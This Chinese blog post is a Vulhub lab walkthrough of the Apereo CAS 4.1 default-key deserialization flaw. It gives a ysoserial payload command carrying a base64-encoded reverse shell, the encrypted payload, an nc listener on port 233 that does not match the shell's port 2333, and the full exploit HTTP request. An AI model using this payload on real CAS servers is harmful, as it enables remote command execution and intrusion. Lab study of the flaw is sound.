Vulhub 漏洞学习之：Apereo CAS

1 Apereo CAS 4.1 反序列化命令执行漏洞

Apereo CAS是一款Apereo发布的集中认证服务平台，常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题，利用这个默认密钥 changeit 我们可以构造恶意信息触发目标反序列化漏洞，进而执行任意命令。

1.1 漏洞利用过程

  1. 利用工具下载地址：

    vulhub/Apereo-CAS-Attack: WIP: Demo for Attacking Apereo CAS (github.com)

  2. 使用 ysoserial 的 CommonsCollections4 生成加密后的 Payload：

    java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xLzIzMzMgMD4mMSAg}|{base64,-d}|{bash,-i}"

# 生成的Payload：
    
698a7aef-16a0-45d5-aa97-108c89d6b0dc_AAAAIgAAABDrFY%2BzRx4OYupIHw6dbukvAAAABmFlczEyOIryxfU4%2F5s31fKP4GgWb6z6b14lIEyerfBT%2FTenVbCA6pQ8N7S65OmrK9n0FmcBQuNBKYnRwA58Qbfe4mee2tOwTYpITZfxPCc7c37F%2FPjZ%2BElUqsiyjyMSwPmDiR8ENVcN69G%2FoTU1o0dx82%2BfYvBiavbLkZb0ja4bF68RlaDYeKDurglJ8w6UdQXFmIVgB7OdToI2BI15sKPzc33Zt2eiSbxT3ipjIfz5llnafryA%2FRxdpVtHQBDNVEGPdglrSSIS%2FKY5q3wrYgSnHPcuuspd57ujMEVE8tZfy5EH3x3ZfIcV5UDT%2BQxgOuh%2Fb0DYXTScAIxXKDBRfM4EaUZcy62T8zjcbQ%2BGGUKR0vl1tCqPu8SR%2BGq4TNbcX%2BS88qlv2jBVspPw1NpEDSjpC1d2l%2Fwlr2coGfeliMYO5NfJpRvUvUcBhZktTYu4B1PHU%2BvLx3hZ%2FBiT7s%2BZFy6UsjG1nK2dXe2dCm9lO2BMvdsUpDBIyuGqYVdGp7ODox6jrsCRHWKDfaLwGxPtiogs4SttrV2W%2FFug22%2BRP072a%2Fz7Tzfkx%2FWnnUl0y1YgzagHtb5eAWiRE4G60pzVrLW1IT1CrqbMbz2bVGmd4de8YpG7fUrdFRpR%2FyrGmfeS6XEFpkfCpVUfjdpb%2FdBWy0hKZaW7RhbqqrYoldsip74FMEY%2Bne3JbErO8gMKDld3MMonk7PDIcARJdVTvl9jlqfpLThxh3jE1LJ1LTi3a%2BfyhS41GskI6AfrzEMCvezNMbxbEXNUILmr6ZFTFyYFHYxOb1Wdb3IXu%2Bzzq0efLzCyr56aVmx6LsclwN4o%2FDW7e%2FsmgOqzvYeqWsNCxfOHts6cI1YyE%2FDe4FA1hipuxHHPuN6ooeZSZJFuFb79NwmUuHd6B1Iv7J4Qr%2BZhnWZE5Betnh%2BEIQuj%2B7Qy55hkp36DTCkIcjW4sBFLBOGqoYjpJ8dduoG%2FvXrTjUEwusrDrDpAWeu%2BCpHXQeunLrnAQdWJyWVsgjwv%2BdmF4ixRbiIF6JhXUKY6ZEP6K8fd5E0gMB0EFwiu1JiZlUcxhHI%2F7EQZhla2buIbHedhbTXauOmnm7HCSNOfqYb4Vdu%2BA8O8pKs8E9ACvlVkxv2MpFJzZVFHyALWDFrhgRf4kei7FucRlFmpGJnhUzwrrjeQDNsvbMG10I65KFFMJ6EJPKPCZ0QQwsggrgKTK%2FBtS1NMT%2BzYSLiKGRZa1h5Gz11k8%2BPuOU64jMwEcmYofUhe010ayHGun81eXUWShRrKQyw%2FAw871OZd1JX9QOd%2FClfnPZh4mHKiDwFQ7YWJWZ35mgZbM%2FELVT29bYj9BbpZWNOjEurhLgHHYs3Tim%2BqeeKe16%2BxTZHniO%2BSwQPxCFJuIsMzuT%2BSQx5YFuOKo2HsqN2Htku2NaZhxQc8zCtar1hoobB%2BDP5FoVkp5nPvl2%2BeSEfDLZ%2Fuzmzf2zfthRD%2BEavuecVGIsKNRXhFYI%2BCpF8PFaYbWlufKHv13Rl5sv35N12OQ7716Bh2fvhSkfrSKS1iujPXHTlMSfHxofBq0rrdq6QVXw0UNXruse3ChYKa1t8MPa4ZEECOlViw5b3svdp3vWOKaOFJtOSr1SQznVSS9afrWNiOr3GLRXwKTguKJ7ONBcniPyR2Gb1EV7B%2F42MvCzCXf6xkrPWriCC0occu6F%2Fc4qSzFH9XWOyweol9pNz0BCNviFQyWefFYd%2Bi%2B268z5SJrkHDaj1n06mOrfj%2FP655E8GE8iX0P%2BbQX1N4hx70WljY409ey1cGXWubLY5aUsMLCoNLddk3fNgeZhxqHDGSfF72QPnSfyDGAUrYw8dgVqu%2BJz8VXMuQVt9pjVP4RUVzOEg4EfxkQpnTvdOFgzEMM4yDtL9nrFDmUEwwBp0jIQB7tZr1O7Vn%2FoVSdg9WNt8L5QrSFLSJjjOqbYvXe5dyJbDvmgdyHrqNvpoBaSZ6LQZE4hODQvlTq%2Fa01WwPuBPOpgrZ9pDUdJlXZVcMobHabzwKWUwrLw47nkPuZfRVxon86I3fSgUoipZXc%2F05%2B4SBFWlQc23mwbBaOSGTOPs8i7AxJAdIwFg%3D

  3. 攻击主机上配置反弹 Shell 的监听端口

    nc -nvlp 233

  4. 登录 CAS 并抓包，将 Body 中的 execution 值替换成上面生成的 Payload 发送：

    POST /cas/login HTTP/1.1
    
Host: 192.168.210.13:8080
    
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
    
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    
Accept-Encoding: gzip, deflate
    
Content-Type: application/x-www-form-urlencoded
    
Content-Length: 2409
    
Origin: http://192.168.210.13:8080
    
Connection: close
    
Referer: http://192.168.210.13:8080/cas/login
    
Cookie: JSESSIONID=5218B8849824E33F5690C56591A166FF; org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALE=en
    
Upgrade-Insecure-Requests: 1

username=test&password=test&lt=LT-239-RcoioBE6g9Bc74RfcMq5SMdbSWTzaW-cas01.example.org&execution=698a7aef-16a0-45d5-aa97-108c89d6b0dc_AAAAIgAAABDrFY%2BzRx4OYupIHw6dbukvAAAABmFlczEyOIryxfU4%2F5s31fKP4GgWb6z6b14lIEyerfBT%2FTenVbCA6pQ8N7S65OmrK9n0FmcBQuNBKYnRwA58Qbfe4mee2tOwTYpITZfxPCc7c37F%2FPjZ%2BElUqsiyjyMSwPmDiR8ENVcN69G%2FoTU1o0dx82%2BfYvBiavbLkZb0ja4bF68RlaDYeKDurglJ8w6UdQXFmIVgB7OdToI2BI15sKPzc33Zt2eiSbxT3ipjIfz5llnafryA%2FRxdpVtHQBDNVEGPdglrSSIS%2FKY5q3wrYgSnHPcuuspd57ujMEVE8tZfy5EH3x3ZfIcV5UDT%2BQxgOuh%2Fb0DYXTScAIxXKDBRfM4EaUZcy62T8zjcbQ%2BGGUKR0vl1tCqPu8SR%2BGq4TNbcX%2BS88qlv2jBVspPw1NpEDSjpC1d2l%2Fwlr2coGfeliMYO5NfJpRvUvUcBhZktTYu4B1PHU%2BvLx3hZ%2FBiT7s%2BZFy6UsjG1nK2dXe2dCm9lO2BMvdsUpDBIyuGqYVdGp7ODox6jrsCRHWKDfaLwGxPtiogs4SttrV2W%2FFug22%2BRP072a%2Fz7Tzfkx%2FWnnUl0y1YgzagHtb5eAWiRE4G60pzVrLW1IT1CrqbMbz2bVGmd4de8YpG7fUrdFRpR%2FyrGmfeS6XEFpkfCpVUfjdpb%2FdBWy0hKZaW7RhbqqrYoldsip74FMEY%2Bne3JbErO8gMKDld3MMonk7PDIcARJdVTvl9jlqfpLThxh3jE1LJ1LTi3a%2BfyhS41GskI6AfrzEMCvezNMbxbEXNUILmr6ZFTFyYFHYxOb1Wdb3IXu%2Bzzq0efLzCyr56aVmx6LsclwN4o%2FDW7e%2FsmgOqzvYeqWsNCxfOHts6cI1YyE%2FDe4FA1hipuxHHPuN6ooeZSZJFuFb79NwmUuHd6B1Iv7J4Qr%2BZhnWZE5Betnh%2BEIQuj%2B7Qy55hkp36DTCkIcjW4sBFLBOGqoYjpJ8dduoG%2FvXrTjUEwusrDrDpAWeu%2BCpHXQeunLrnAQdWJyWVsgjwv%2BdmF4ixRbiIF6JhXUKY6ZEP6K8fd5E0gMB0EFwiu1JiZlUcxhHI%2F7EQZhla2buIbHedhbTXauOmnm7HCSNOfqYb4Vdu%2BA8O8pKs8E9ACvlVkxv2MpFJzZVFHyALWDFrhgRf4kei7FucRlFmpGJnhUzwrrjeQDNsvbMG10I65KFFMJ6EJPKPCZ0QQwsggrgKTK%2FBtS1NMT%2BzYSLiKGRZa1h5Gz11k8%2BPuOU64jMwEcmYofUhe010ayHGun81eXUWShRrKQyw%2FAw871OZd1JX9QOd%2FClfnPZh4mHKiDwFQ7YWJWZ35mgZbM%2FELVT29bYj9BbpZWNOjEurhLgHHYs3Tim%2BqeeKe16%2BxTZHniO%2BSwQPxCFJuIsMzuT%2BSQx5YFuOKo2HsqN2Htku2NaZhxQc8zCtar1hoobB%2BDP5FoVkp5nPvl2%2BeSEfDLZ%2Fuzmzf2zfthRD%2BEavuecVGIsKNRXhFYI%2BCpF8PFaYbWlufKHv13Rl5sv35N12OQ7716Bh2fvhSkfrSKS1iujPXHTlMSfHxofBq0rrdq6QVXw0UNXruse3ChYKa1t8MPa4ZEECOlViw5b3svdp3vWOKaOFJtOSr1SQznVSS9afrWNiOr3GLRXwKTguKJ7ONBcniPyR2Gb1EV7B%2F42MvCzCXf6xkrPWriCC0occu6F%2Fc4qSzFH9XWOyweol9pNz0BCNviFQyWefFYd%2Bi%2B268z5SJrkHDaj1n06mOrfj%2FP655E8GE8iX0P%2BbQX1N4hx70WljY409ey1cGXWubLY5aUsMLCoNLddk3fNgeZhxqHDGSfF72QPnSfyDGAUrYw8dgVqu%2BJz8VXMuQVt9pjVP4RUVzOEg4EfxkQpnTvdOFgzEMM4yDtL9nrFDmUEwwBp0jIQB7tZr1O7Vn%2FoVSdg9WNt8L5QrSFLSJjjOqbYvXe5dyJbDvmgdyHrqNvpoBaSZ6LQZE4hODQvlTq%2Fa01WwPuBPOpgrZ9pDUdJlXZVcMobHabzwKWUwrLw47nkPuZfRVxon86I3fSgUoipZXc%2F05%2B4SBFWlQc23mwbBaOSGTOPs8i7AxJAdIwFg%3D&_eventId=submit&submit=LOGIN

  5. 成功反弹 Shell，说明命令已经成功执行

最新文章

  1. 在不动用sp_configure的情况下，如何 =》去掉列的自增长，并保留原数据
  2. 【转】WPF 给DataGridTextColumn统一加上ToolTip
  3. CSS3中border-radius、box-shadow与gradient那点事儿
  4. Android打造属于自己的数据库操作类。
  5. C# 词法分析器（五）转换 DFA
  6. openldap+phpadmin的搭建安装
  7. 批处理命令——if
  8. mysql服务器的字符集
  9. python-append()方法
  10. IOS　采用https 协议访问接口
  11. h264多slice
  12. 我自己总结的C#开发命名规范整理了一份
  13. nginx--default_server定义规则及配置
  14. Keepalived+LVS高可用负载均衡集群
  15. Python3学习之路~5.9 xml处理模块
  16. js格式化input输入框内容（每几位分一组，并使用特定字符分隔）
  17. PAT B1003 我要通过！
  18. Java 8 – StringJoiner example
  19. storm的流分组
  20. SQL Server 数据表代码创建约束

热门文章

  1. 安装mySql 出现 one more product requirements have not been satisified
  2. 初次邂逅 EasyExcel
  3. 模拟Promise的功能
  4. PostgreSQL常用操作合辑：时间日期、系统函数、正则表达式、库表导入导出、元数据查询、自定义函数、常用案例
  5. 【实时数仓】Day02-DWD、DIM层数据准备：各层职能、行为日志DWD层、业务日志DWD层及分流（Phoenix和HBASE）
  6. AcWing1137. 选择最佳线路
  7. go语言行为（方法）的两种定义差别
  8. RSA中用到的推导，笔记持续更新
  9. MongoDB从入门到实战之.NET Core使用MongoDB开发ToDoList系统（1）-后端项目框架搭建
  10. .Net 6 使用 Consul 实现服务注册与发现 看这篇就够了